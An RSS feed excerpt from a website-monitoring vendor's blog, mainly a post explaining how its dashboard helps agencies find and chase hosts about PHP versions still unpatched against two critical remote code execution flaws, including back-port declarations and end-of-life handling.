&lt;p&gt;The ordering of priorities has not changed. Update PHP to a fixed release first, because that is what closes the two critical holes. Then set &lt;code&gt;session.upload_progress.enabled=0&lt;/code&gt;, or confirm it is already set, and leave it there. If you did both on 21 October, this advisory is already behind you.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bsky.app/profile/thephpf.bsky.social/post/3myjyb74m2c2j&quot;&gt;The PHP Foundation&apos;s advisory post&lt;/a&gt; - the 23 October 2026 notice advising session.upload_progress.enabled=0 until the next PHP release.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp&quot;&gt;GHSA-6wmf-4rv5-p3rp: CVE-2026-109619&lt;/a&gt; - the 21 October advisory that first listed disabling session upload progress as a mitigation.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/manual/en/session.upload-progress.php&quot;&gt;PHP manual: Session Upload Progress&lt;/a&gt; - what the feature does and the ini directives that control it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-21-5&quot;&gt;PHP 21 October 2026 security releases&lt;/a&gt; - the announcement of PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Not sure which of your sites still have session upload progress on, or which are still on an unpatched PHP? A &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; of a site reports both.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>php</category><category>security</category><category>hosting</category><category>updates</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/php-session-upload-progress-advisory.png" length="0" type="image/png"/></item><item><title>How mySites.guru Helps Agencies Firefight PHP2Shell at Scale</title><link>https://mysites.guru/blog/mysites-guru-agencies-firefight-php2shell-at-scale/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-agencies-firefight-php2shell-at-scale/</guid><description>How agencies with client sites spread across many hosts and servers see which still run vulnerable PHP, chase the right host, and handle back-ported builds.</description><pubDate>Thu, 22 Oct 2026 08:39:17 GMT</pubDate><content:encoded>&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/img/blog/mysites-guru-agencies-firefight-php2shell-at-scale-this-is-fine.webp&quot; alt=&quot;The animated This is fine dog from KC Green&apos;s comic: a cartoon dog in a hat sits at a table with a mug of coffee, smiling, while flames spread across the room around it&quot; width=&quot;480&quot; height=&quot;270&quot; loading=&quot;eager&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;This is fine. After KC Green’s Gunshow comic (2013).&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;That dog is every agency owner on the morning of 21 October 2026, coffee in hand, scrolling a sites list. (The meme is &lt;a href=&quot;https://kcgreendotcom.com/&quot;&gt;KC Green’s&lt;/a&gt;, and it has never been more accurate.) PHP had just published &lt;a href=&quot;https://www.php.net/archive/2026.php#2026-10-21-5&quot;&gt;8.5.12, 8.4.27, 8.3.36 and 8.2.35&lt;/a&gt;, fixing CVE-2026-109618 and CVE-2026-109619: two unauthenticated remote code execution flaws, both rated CVSS v4.0 9.2, which the press and security vendors have since named &lt;a href=&quot;https://www.helpnetsecurity.com/2026/10/21/php2shell-php-vulnerabilities-patched-cve-2026-109618-cve-2026-109619/&quot;&gt;PHP2Shell&lt;/a&gt;. PHP’s own position is that updating is the only safe choice.&lt;/p&gt;
&lt;p&gt;What the two flaws are and which server setups are most exposed is in our post on &lt;a href=&quot;https://mysites.guru/blog/php-critical-security-release-joomla-wordpress/&quot;&gt;PHP’s critical security release&lt;/a&gt;, so I will not repeat it here. This post is about the other problem, the one that only shows up when you look after other people’s sites in bulk.&lt;/p&gt;
&lt;p&gt;On almost all Joomla and WordPress hosting, the host installs and updates PHP. You cannot patch it yourself, and your control panel only offers the versions the host has installed. For one site that is one support ticket. For an agency it is dozens of tickets to different companies, each about a different set of sites, each with a different idea of what “soon” means. Across the accounts that manage 20 or more live sites with us, the median number of different servers those sites run on is 11. The fire is spread across eleven buildings, and most of them have a different landlord.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;p&gt;Accounts managing 20 or more live sites run them on a median of &lt;strong&gt;11&lt;/strong&gt; different servers, each one a separate host conversation.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;5 or more servers&lt;/span&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span&gt;72.3%&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;10 or more servers&lt;/span&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span&gt;54.6%&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;half of accounts&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;figcaption&gt;Share of accounts managing 20 or more live sites. Measured on live sites under active management, 22 October 2026 08:25 UTC, sites with a snapshot in the last two days.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;So the question for an agency is operational rather than technical: which of my sites, on which servers, at which hosts, are still exposed, who do I chase, how do I know when they are done, and what do I do about the hosts that patched but kept the old version number? Everything below is how mySites.guru answers each of those in turn.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Every site’s PHP pill goes red when the version it reports is at or below 8.2.34, 8.3.35, 8.4.26 or 8.5.11, or on 8.1 and older. A dashboard banner, a Needs Attention row and the &lt;code&gt;php-security&lt;/code&gt; search token give you the affected list in one click.&lt;/li&gt;
&lt;li&gt;Every site reports the server hostname it runs on, so &lt;code&gt;hostname:&amp;lt;server&amp;gt;&lt;/code&gt; turns a pile of red sites into one ticket per host.&lt;/li&gt;
&lt;li&gt;Each affected site’s Important card has a ready-written request for the host under “Copy request for your host”, and clears itself at the first snapshot after PHP is updated.&lt;/li&gt;
&lt;li&gt;The explainer page groups your affected sites by PHP branch, shows a progress bar, and checks php.net hourly for “Is the fix out yet?”.&lt;/li&gt;
&lt;li&gt;Hosts on CloudLinux and Ubuntu back-port the fix without changing the version number. A back-port declaration records the host’s word, with who and when, and turns the pill back to its normal colour with a shield. It is a claim, not proof: only PHP’s official releases are definitively fixed.&lt;/li&gt;
&lt;li&gt;PHP 8.1 and older stay red whatever the host says, because they are end of life. The fix there is a move to 8.3 or newer.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Every Affected Site on One Screen&lt;/h2&gt;
&lt;p&gt;mySites.guru records the PHP version each site reports while serving a request, at every snapshot. &lt;code&gt;php -v&lt;/code&gt; on the command line and the build serving your pages are often two different installs, and the one you care about this week is the one answering web requests.&lt;/p&gt;
&lt;p&gt;For this release the PHP version pill turns red at or below 8.2.34, 8.3.35, 8.4.26 or 8.5.11, and for every version on 8.1 and older. Anything after the first dash in the version string (&lt;code&gt;-nmm1&lt;/code&gt;, &lt;code&gt;-bookworm.0&lt;/code&gt;) is ignored, so a packager’s suffix does not hide a vulnerable number or invent a fixed one. The pill is the same one that normally shows &lt;a href=&quot;https://mysites.guru/blog/php-supported-versions-amber-green/&quot;&gt;amber or green depending on how far a site is behind php.net&lt;/a&gt;, and it appears on the sites list, the site header, the site picker, the core upgrade tool and client reports.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/mysites-guru-agencies-firefight-php2shell-at-scale-banner-list.C7b74z0q_Z1odxDN.webp&quot; alt=&quot;The mySites.guru sites list with a red banner reading 4 of your 5 sites run PHP without the 21 October 2026 critical security fix, with Show them and What happened buttons, above five example sites with red PHP 8.0.30 and PHP 8.4.13 pills&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;545&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The sites list on release day. The banner only shows while you have an affected site.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Above the list sits a banner, shown only while you have at least one affected site and only until 21 December 2026: “4 of your 5 sites run PHP without the 21 October 2026 critical security fix.” Its “Show them” button filters the list down to those sites, and “What happened” opens the explainer page covered below.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/mysites-guru-agencies-firefight-php2shell-at-scale-needs-attention.D0LrAra2_tCtQB.webp&quot; alt=&quot;The Needs Attention group in the mySites.guru left menu with a PHP Security Release row and its count&quot; loading=&quot;lazy&quot; width=&quot;470&quot; height=&quot;500&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;The left menu’s Needs Attention group gets a “PHP Security Release” row with a count, which you can hide like any other row once you are on top of it. And if you prefer the search box, the token &lt;code&gt;php-security&lt;/code&gt; finds every affected site, while &lt;code&gt;php-backported&lt;/code&gt; finds the ones covered by a back-port declaration.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/mysites-guru-agencies-firefight-php2shell-at-scale-tooltip-red.D_acp_GC_Z2hjGpp.webp&quot; alt=&quot;A red PHP 8.4.13 pill with a tooltip reading Has the 21 Oct 2026 PHP flaws. Needs 8.4.27 or newer.&quot; loading=&quot;lazy&quot; width=&quot;1500&quot; height=&quot;180&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;Hover a red pill and it tells you which release to ask the host for.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The snapshot row “PHP Version Should Be Latest Supported Series” goes red for the same versions, so the result reaches anyone reading the snapshot rather than the sites list.&lt;/p&gt;
&lt;h2&gt;Sorting the Fire by Host and Server&lt;/h2&gt;
&lt;p&gt;A list of forty red sites is a list. The same forty sites grouped by the server they sit on is a to-do list, usually a much shorter one, because a host that updates PHP on a server fixes every site on it at once.&lt;/p&gt;
&lt;p&gt;Each site reports the hostname of the server it runs on, and mySites.guru uses that in three places. The site header has a hostname badge that links to every site on that server. The “Your Web Servers” page lists all of your servers so you can see the spread at a glance. And on the sites list, the search token &lt;code&gt;hostname:&amp;lt;server&amp;gt;&lt;/code&gt; filters to one server, which combined with the red pills tells you in a second whether a host has done that box yet.&lt;/p&gt;
&lt;p&gt;This is the step that turns a fire across eleven servers into eleven conversations, each with one list of sites attached. If you &lt;a href=&quot;https://mysites.guru/blog/organise-client-sites-with-tags/&quot;&gt;tag your sites by client or server&lt;/a&gt; already, the tags do the same job for hosts whose servers do not report a helpful hostname, and for the client-facing side, where “which of your sites are affected” is the question you will be asked.&lt;/p&gt;
&lt;h2&gt;The Spreadsheet Does Not Know What Your Host Did Overnight&lt;/h2&gt;
&lt;p&gt;Plenty of agencies keep a spreadsheet of client sites: domain, host, CMS, and a PHP version someone typed in at launch or after the last migration. It feels like an inventory until the day you need it, because the one thing that changes most on a hosted site is the thing you do not change yourself. The host upgrades PHP on its own schedule, moves accounts to a new server, switches a site to a newer branch when the old one goes end of life, and back-ports a fix overnight, usually without a word to you. None of that touches a cell in your sheet.&lt;/p&gt;
&lt;p&gt;So on release day the PHP column is only as current as the last time someone edited it, and it cannot tell you which sites the host already patched that morning. You end up checking every site by hand to find out whether the sheet is lying.&lt;/p&gt;
&lt;p&gt;mySites.guru reads the PHP version and the server hostname from each site at every snapshot, so the list you filter on release day is what the sites reported, not what somebody remembered to write down. And it keeps moving while you work: the host patches a server, the next snapshot reports the fixed build, and those sites drop off the list on their own. When the host does the work for you, the dashboard notices.&lt;/p&gt;
&lt;h2&gt;Most of This Is in Your Host’s Hands&lt;/h2&gt;
&lt;div&gt;&lt;p&gt;An agency cannot patch PHP it does not run&lt;/p&gt;&lt;div&gt;&lt;p&gt;Almost every agency hosts client sites on servers someone else operates: shared hosting, reseller accounts, a managed VPS, the client’s own provider. The PHP build on those servers is the host’s to choose, compile and update. Your control panel offers the versions the host has installed, and nothing else, so the speed of the fix is the speed of each host.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;It is rare, though not unheard of, for an agency to run its own servers with someone in house who can compile a specific PHP build and roll it out the same afternoon. We are in that position for mySites.guru itself, because I build the PHP images our own platform runs on. Most agencies are not, and should not need to be. For everyone else there is a lot of reliance on web hosts doing the right thing, and doing it quickly.&lt;/p&gt;
&lt;p&gt;Some hosts were quick. The first sites we monitor reported a fixed version about fifty minutes before PHP’s advisories went public, because hosts and packagers who were told in advance had their builds ready. Others have not fared so well. Across the servers running sites on PHP 8.2 to 8.5 that we have snapshotted since the advisories went out:&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;Every site fixed&lt;/span&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span&gt;58.2%&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;None fixed yet&lt;/span&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span&gt;36.8%&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;A mix of both&lt;/span&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span&gt;5.0%&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;half of servers&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;figcaption&gt;Servers by reported hostname, live sites under active management snapshotted after 13:35 UTC on 21 October 2026, measured on 22 October 2026. A back-ported build that keeps the old version number counts as not fixed here.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Part of that 36.8% is CloudLinux and Ubuntu servers that are patched under an old version number, which is the case back-port declarations exist for, covered below. The rest are hosts that have not got there yet, and those are the conversations to start today.&lt;/p&gt;
&lt;h2&gt;A Ticket for Your Host, Already Written&lt;/h2&gt;
&lt;p&gt;Each affected site gets a card on its &lt;a href=&quot;https://mysites.guru/blog/summer-2026-new-features/&quot;&gt;Important tab&lt;/a&gt;, and the tab opens by default while the card applies. The card is titled with the specific problem, “PHP 8.4.13 has two critical security flaws”, says which fixed release to ask for, and has three buttons: “What happened” for the explainer page, “Copy request for your host”, and “Check again”.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/mysites-guru-agencies-firefight-php2shell-at-scale-important-card.DhxCpNRd_Z17NGYY.webp&quot; alt=&quot;A site&apos;s Important card reading PHP 8.4.13 has two critical security flaws, with an explanation, the buttons What happened, Copy request for your host and Check again, and below a checkbox reading My web host has told me PHP 8.4.13 on danger.example.com has the security fixes back-ported with a Mark back-ported button&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;394&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The Important card on an affected site, with the back-port checkbox underneath.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;“Copy request for your host” puts a finished ticket on your clipboard, with the site, the server and the version already filled in. This is the one from a test site:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Hello, the website https://myExampleSite-smallsnake.com runs PHP 8.4.13 on panasoni.example.com.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;PHP published a critical security release on 21 October 2026 (CVE-2026-109618 and CVE-2026-109619). Please update PHP 8.4 on this server to 8.4.27 or newer, or confirm that your distribution package includes the backported fix, and let me know when it is done. If the fix is back-ported into the current build without a version change, please say so in your reply.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Thank you.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The last sentence is there on purpose, and it is the reason the back-port section further down works. Hosts that back-port rarely volunteer it unless asked, and you want their answer in writing.&lt;/p&gt;
&lt;p&gt;“Check again” takes a fresh snapshot, so when the host replies “done” you can confirm it straight away rather than waiting for the next scheduled run. The card cannot be dismissed. It clears itself at the first snapshot after PHP is updated, which means a card you can still see is a site that is still exposed, with no way to tidy it out of sight and forget it. For a site on end-of-life PHP the card says there is no official fix and asks the host to make PHP 8.3 or newer available instead.&lt;/p&gt;
&lt;h2&gt;How Do You Know When a Host Has Finished?&lt;/h2&gt;
&lt;p&gt;The explainer page at &lt;a href=&quot;https://manage.mysites.guru/en/help/php-security-release&quot;&gt;manage.mysites.guru/en/help/php-security-release&lt;/a&gt; (you need to be signed in) lists only your affected sites, grouped by PHP branch with the newest branch first, each group headed by what to ask for: “PHP 8.4: ask your host for 8.4.27 or newer.” Paused sites are left out, and a site drops off the list at its first snapshot after its host updates PHP, so the page gets shorter as the week goes on.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/mysites-guru-agencies-firefight-php2shell-at-scale-help-page.z9WddlQo_1r4dWP.webp&quot; alt=&quot;The PHP security release help page: a left column with an On this page list and a Host back-ported the fix? card, and a right column headed Your sites with the line 1 of your 4 sites on PHP 8.2 to 8.5 is patched, 1 of them back-ported by your host, a progress bar, site groups for PHP 8.4 and end-of-life PHP 8.0, a Back-ported (declared by you) group with a yellow shielded PHP 8.4.13 pill, and an Is the fix out yet? table&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;843&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The explainer page: your affected sites by branch, the progress line, and the Is the fix out yet? strip.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;At the top is a progress line and bar, “1 of your 4 sites on PHP 8.2 to 8.5 is patched, 1 of them back-ported by your host.”, which is the number you will be asked for in the Monday stand-up. Below the sites is an “Is the fix out yet?” table, one row per branch, fed from our php.net feed and checked every hour, so a host telling you “the release is not out yet for 8.3” can be checked against the source without leaving the page. The page also explains why a version is red and what to do about it, and it is in Cmd+K and Browse All Tools, so you can reach it from anywhere.&lt;/p&gt;
&lt;p&gt;For the wider picture, this is the same view across every site we monitor, the morning after the release.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;45.0%&lt;/span&gt; &lt;span&gt;of affected sites were fixed the morning after the release.&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;Fixed &lt;b&gt;45.0%&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Still vulnerable &lt;b&gt;55.0%&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Patched 44.5%&lt;/b&gt;official release installed&lt;/li&gt;&lt;li&gt;&lt;b&gt;Unpatched 34.2%&lt;/b&gt;fix out, host has not applied it&lt;/li&gt;&lt;li&gt;&lt;b&gt;End of life 20.8%&lt;/b&gt;8.1 and older, no official fix&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span&gt;&lt;b&gt;Back‑ported 0.5%&lt;/b&gt;, declared on the host&apos;s word&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;b&gt;Patched 44.5%&lt;/b&gt;, official release installed&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;b&gt;Back‑ported 0.5%&lt;/b&gt;, declared on the host&apos;s word&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;b&gt;Unpatched 34.2%&lt;/b&gt;, fix out, host has not applied it&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;b&gt;End of life 20.8%&lt;/b&gt;, 8.1 and older, no official fix&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;figcaption&gt;Share of sites on an affected PHP version, measured on live sites under active management that have taken a snapshot since 21 October 2026, at 09:25 UTC on 22 October 2026. Sites not yet snapshotted since the release are left out.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Hosts are not moving at one speed. On the supported branches, 67.3% of sites on PHP 8.5 are fixed against 53.2% on PHP 8.3, the branch most sites sit on, with 8.4 at 56.7% and 8.2 at 56.2%. WordPress sites are slightly ahead of Joomla sites, 48.6% fixed against 43.9%, largely because more Joomla sites are on end-of-life PHP. And the end-of-life branches are fixed on about 0.9% of their sites, every one of them a host back-port a customer has declared, because there is no release for those branches to install.&lt;/p&gt;
&lt;p&gt;The 34.2% in amber is the work in front of you: sites whose host has a fixed release available and has not applied it yet. Some of that amber is not real, which brings us to the part of this release that has caused the most confusion.&lt;/p&gt;
&lt;h2&gt;What If the Host Patched but the Version Number Did Not Move?&lt;/h2&gt;
&lt;p&gt;A version check works when the fix arrives as a new version number. On CloudLinux and Ubuntu packages it does not. &lt;a href=&quot;https://blog.cloudlinux.com/php-cve-2026-109618-and-cve-2026-109619&quot;&gt;CloudLinux&lt;/a&gt; says so directly for the ea-php packages that cPanel servers running CloudLinux use: “Our packages carry the fix as a backport, so their version numbers stay below PHP’s: ea-php84, for example, is 8.4.26, not 8.4.27.” Its advice is to look for the CVE IDs in the package changelog instead:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;rpm&lt;/span&gt;&lt;span&gt; -q&lt;/span&gt;&lt;span&gt; ea-php84-php-cli&lt;/span&gt;&lt;span&gt; --changelog&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span&gt; grep&lt;/span&gt;&lt;span&gt; -E&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;CVE-2026-(109618|109619)&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CloudLinux has fixed ea-php52 through ea-php85 on CloudLinux 7, 8, 9 and 10, and alt-php 5.2 to 8.5 on CloudLinux 7, 8 and 9. &lt;a href=&quot;https://ubuntu.com/blog/php2shell-vulnerability-fixes-available&quot;&gt;Ubuntu&lt;/a&gt; does the same: 24.04’s php8.3 is fixed in &lt;code&gt;8.3.6-0ubuntu0.24.04.13&lt;/code&gt; and 22.04’s php8.1 in &lt;code&gt;8.1.2-1ubuntu2.28&lt;/code&gt; (USN-8948-1 and USN-8948-2), so a fully patched Ubuntu 24.04 site still reports 8.3.6 and shows red. &lt;a href=&quot;https://security-tracker.debian.org/tracker/CVE-2026-109618&quot;&gt;Debian&lt;/a&gt; went the other way and ships the new upstream numbers, bookworm’s php8.2 as &lt;code&gt;8.2.35-1~deb12u1&lt;/code&gt; (DLA-4848-1) and trixie’s php8.4 as &lt;code&gt;8.4.27-1~deb13u1&lt;/code&gt; (DSA-6574-1), so on Debian the version check simply works.&lt;/p&gt;
&lt;p&gt;We could not fix this with a cleverer rule, because the version string a back-ported build reports is identical to the vulnerable one. Nothing in the site’s report tells the two apart. The only party who knows is the host.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;A back-port declaration is your host&apos;s word, not proof&lt;/p&gt;&lt;div&gt;&lt;p&gt;There is no way to see what a host’s custom build contains, or whether the patches were applied correctly. Only PHP’s official releases, 8.5.12, 8.4.27, 8.3.36 and 8.2.35, are the definitive fixed versions, tested by the whole PHP community. A declaration records that your host told you otherwise, with who recorded it and when.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So on 22 October we added back-port declarations. On the explainer page there is a “Host back-ported the fix?” card. You pick a PHP build from a list of your own affected builds (the PHP version on a given web host, with site counts, most sites first), tick “My web host has told me that this PHP version on this web host has been patched by back-porting the security fixes.”, and Save. Or, on a single site, tick the box under the Important card and press “Mark back-ported”. The card then lists your declarations with how many sites each covers and “Declared 22 Oct 2026 by” whoever did it, with a Remove button; the success message has an Undo. Every change is written to the activity log.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/mysites-guru-agencies-firefight-php2shell-at-scale-backport-card.BOy-hW1b_Z1rekLc.webp&quot; alt=&quot;The Host back-ported the fix? card with a PHP build select showing PHP 8.0.30 on florida.example.com, 1 site, the attestation checkbox and Save button, and an existing declaration reading PHP 8.4.13 on trevor.example.com, 1 site, Declared 22 Oct 2026 by Captain with a Remove button&quot; loading=&quot;lazy&quot; width=&quot;720&quot; height=&quot;660&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;One declaration covers every site reporting that exact build on that server.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;A declaration matches on the exact PHP version string the site reports plus the server hostname, within your account only, and your team members share it. The account scope is a safety decision rather than a limitation: short server hostnames like “www” or “web-01” repeat across unrelated customers, and one agency’s word about its host must never flip a different agency’s sites to green. If the host later changes the build, say to 8.4.27 proper, the declaration stops matching on its own and the card shows “No site reports this any more”, so a stale declaration cannot outlive the build it described.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/mysites-guru-agencies-firefight-php2shell-at-scale-tooltip-backported.B2HtpZ4w_OyXmq.webp&quot; alt=&quot;A yellow PHP 8.4.13 pill with a shield icon and a tooltip reading Your host says the 21 Oct 2026 fix is back-ported into this build. Declared 22 Oct 2026 by Captain.&quot; loading=&quot;lazy&quot; width=&quot;1500&quot; height=&quot;210&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The shield marks a declared back-port, and the tooltip says who declared it and when.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;What changes once a declaration is in place: the PHP pill gets a shield icon and goes back to its normal colour, green if the build is current or amber if it is behind php.net’s latest, with the tooltip “Your host says the 21 Oct 2026 fix is back-ported into this build. Declared 22 Oct 2026 by Captain.” The site leaves the affected list, the Important card, the banner and the Needs Attention counts, the reports, the snapshot rows and the upgrade warning, and the API reports &lt;code&gt;backported&lt;/code&gt;. On the explainer page it moves to a “Back-ported (declared by you)” group, and the progress bar shows back-ported sites as a lighter segment, so you can always see how much of your “patched” is a vendor’s release and how much is a host’s promise. An admin looking at a customer’s account cannot make declarations for them.&lt;/p&gt;
&lt;p&gt;My opinion on this, for what it is worth. A declaration is not evidence, and we do not pretend it is. You cannot inspect a host’s custom build from the outside: you do not know which patches went into it, whether they were applied cleanly, or whether anything else changed along the way. The official releases are the only versions the PHP project built, tested and published as fixed, and everyone who runs that version runs and scrutinises exactly the same code. A back-ported build has been tested by one vendor, at best. So treat the official version as the goal, and push your host to offer it even when they say the old build is patched.&lt;/p&gt;
&lt;p&gt;Where a host insists it has back-ported the fix, get that in writing (the ticket text already asks), record it, and keep the declaration for what it is: a note of the host’s claim. The shield says “your host says”, the tooltip names the person on your team who recorded it, and the activity log has the rest. We added it because the alternative, a red pill that never goes away on a site the host swears is patched, trains everyone on your team to stop looking at red, which is the worst outcome a security dashboard can produce. It does not make the build as trustworthy as an official release, and nothing in mySites.guru claims it does.&lt;/p&gt;
&lt;p&gt;Two known limits. A custom report template of your own keeps the old red unless it passes the site through, and a teammate’s Needs Attention count refreshes at their next sites-list load rather than instantly.&lt;/p&gt;
&lt;h2&gt;End-of-Life PHP Has No Number to Wait For&lt;/h2&gt;
&lt;p&gt;PHP 8.1 and older are end of life and got no official fixed release. php-src has source-only back-port branches for 7.4, 8.0 and 8.1, with no builds, which is nothing a shared host’s control panel can offer. The &lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;supported versions page&lt;/a&gt; shows what is still maintained; everything below 8.2 is not. On 20 October, 22.7% of the sites we monitor were on PHP 8.1 or older, and for those there is no release to wait for.&lt;/p&gt;
&lt;p&gt;mySites.guru treats them accordingly. The pill is red on every 8.1-or-older version and its tooltip adds “No official fix for the 21 Oct 2026 PHP flaws.” The Important card says there is no official fix and asks the host to make PHP 8.3 or newer available. And a back-port declaration, even a true one from a vendor that did back-port into 8.0 or 8.1, does not turn the pill green: the critical-release warning goes, but the version stays red because it is still end of life. On the explainer page these sites sit under their own heading, “PHP 8.0: end of life, no official fixed release. Move to 8.3 or newer.”&lt;/p&gt;
&lt;p&gt;A host’s back-port on an end-of-life branch closes this hole and leaves the next one open, because nothing upstream fixes that branch any more. Our post on &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end-of-life version support&lt;/a&gt; covers how mySites.guru flags end-of-life versions, and the sites on this list are the first clients to talk to about moving.&lt;/p&gt;
&lt;h2&gt;The Session Upload Progress Check&lt;/h2&gt;
&lt;p&gt;The snapshot check “PHP Session Upload Progress Setting” reports &lt;code&gt;session.upload_progress.enabled&lt;/code&gt; for each site. It is read-only and reports what PHP says the value is. It does not make an unpatched site safe: the fix is the fixed PHP release from your host. If you are not sure which of our checks run on a snapshot and which need the full audit, &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;snapshot vs audit&lt;/a&gt; has the breakdown.&lt;/p&gt;
